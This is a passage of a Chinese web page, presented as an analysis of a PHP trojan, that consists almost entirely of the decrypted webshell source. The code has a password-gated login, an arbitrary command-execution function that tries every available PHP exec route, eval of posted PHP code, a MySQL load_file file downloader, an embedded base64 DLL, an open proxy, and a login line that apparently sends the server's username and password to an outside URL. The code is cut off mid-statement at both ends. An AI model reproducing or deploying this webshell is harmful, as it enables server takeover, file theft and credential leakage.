php木马的分析(加密破解)_php技巧

三秒后自动退出或单击这里退出程序界面 >>>";exit;}
if ($_POST['do'] == 'login') {$thepass=trim($_POST['adminpass']);if ($admin['pass'] == $thepass) {setcookie ("adminpass",$thepass,time()+(1*24*3600));echo "";echo "".$copyurl.$serveru."&p=".$serverp.$copyurll."";exit;}}if (isset($_COOKIE['adminpass'])) {if ($_COOKIE['adminpass'] != $admin['pass']) {loginpage();}} else {loginpage();}}
/*===================== 验证结束 =====================*/
// 判断 magic_quotes_gpc 状态
if (get_magic_quotes_gpc()) {$_GET = stripslashes_array($_GET);$_POST = stripslashes_array($_POST);}
//mix.dll的代码
$mixdll = "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";

function shelL($command){
global $windows,$disablefunctions;
$exec = '';$output= '';
$dep[]=array('pipe','r');$dep[]=array('pipe','w');
if(is_callable('passthru') && !strstr($disablefunctions,'passthru')){ @ob_start();passthru($command);$exec=@ob_get_contents();@ob_clean();@ob_end_clean();}
elseif(is_callable('system') && !strstr($disablefunctions,'system')){$tmp = @ob_get_contents(); @ob_clean();system($command) ; $output = @ob_get_contents(); @ob_clean(); $exec= $tmp; }
elseif(is_callable('exec') && !strstr($disablefunctions,'exec')) {exec($command,$output);$output = join("\n",$output);$exec= $output;}
elseif(is_callable('shell_exec') && !strstr($disablefunctions,'shell_exec')){$exec= shell_exec($command);}
elseif(is_resource($output=popen($command,"r"))) {while(!feof($output)){$exec= fgets($output);}pclose($output);}
elseif(is_resource($res=proc_open($command,$dep,$pipes))){while(!feof($pipes[1])){$line = fgets($pipes[1]); $output.=$line;}$exec= $output;proc_close($res);}
elseif ($windows && is_object($ws = new COM("WScript.Shell"))){$dir=(isset($_SERVER["TEMP"]))?$_SERVER["TEMP"]:ini_get('upload_tmp_dir') ;$name = $_SERVER["TEMP"].namE();$ws->Run("cmd.exe /C $command >$name", 0, true);$exec = file_get_contents($name);unlink($name);}
return $exec;
}
// 查看PHPINFO
if ($_GET['action'] == "phpinfo") {echo $phpinfo=(!eregi("phpinfo",$dis_func)) ? phpinfo() : "phpinfo() 函数已被禁用,请查看";exit;
}if($_GET['action'] == "nowuser") {$user = get_current_user();
if(!$user) $user = "报告长官，主机变态，无法获取当前进行用户名！";
echo"当前进程用户名：$user";
exit;
}
if(isset($_POST['phpcode'])){eval("?".">$_POST[phpcode]}
if($action=="mysqldown"){
$link=@mysql_connect($host,$user,$password);
if (!$link) {
$downtmp = '数据库连接失败: ' . mysql_error();
}else{
$query="select load_file('".$filename."');";
$result = @mysql_query($query, $link);
if(!$result){
$downtmp = "读取失败，可能是文件不存在或是没file权限。
".mysql_error();
}else{
while ($row = mysql_fetch_array($result)) {
$filename = basename($filename);
if($rardown=="yes"){
$zip = NEW Zip;
$zipfiles[]=Array("$filename",$row[0]);
$zip->Add($zipfiles,1);
$code = $zip->get_file();
$filename = "".$filename.".rar";
}else{
$code = $row[0];
}
header("Content-type: application/octet-stream");
header("Accept-Ranges: bytes");
header("Accept-Length: ".strlen($code));
header("Content-Disposition: attachment;filename=$filename");
echo($code);
exit;
}
}
}
}
// 在线代理
if (isset($_POST['url'])) {$proxycontents = @file_get_contents($_POST['url']);echo ($proxycontents) ? $proxycontents : "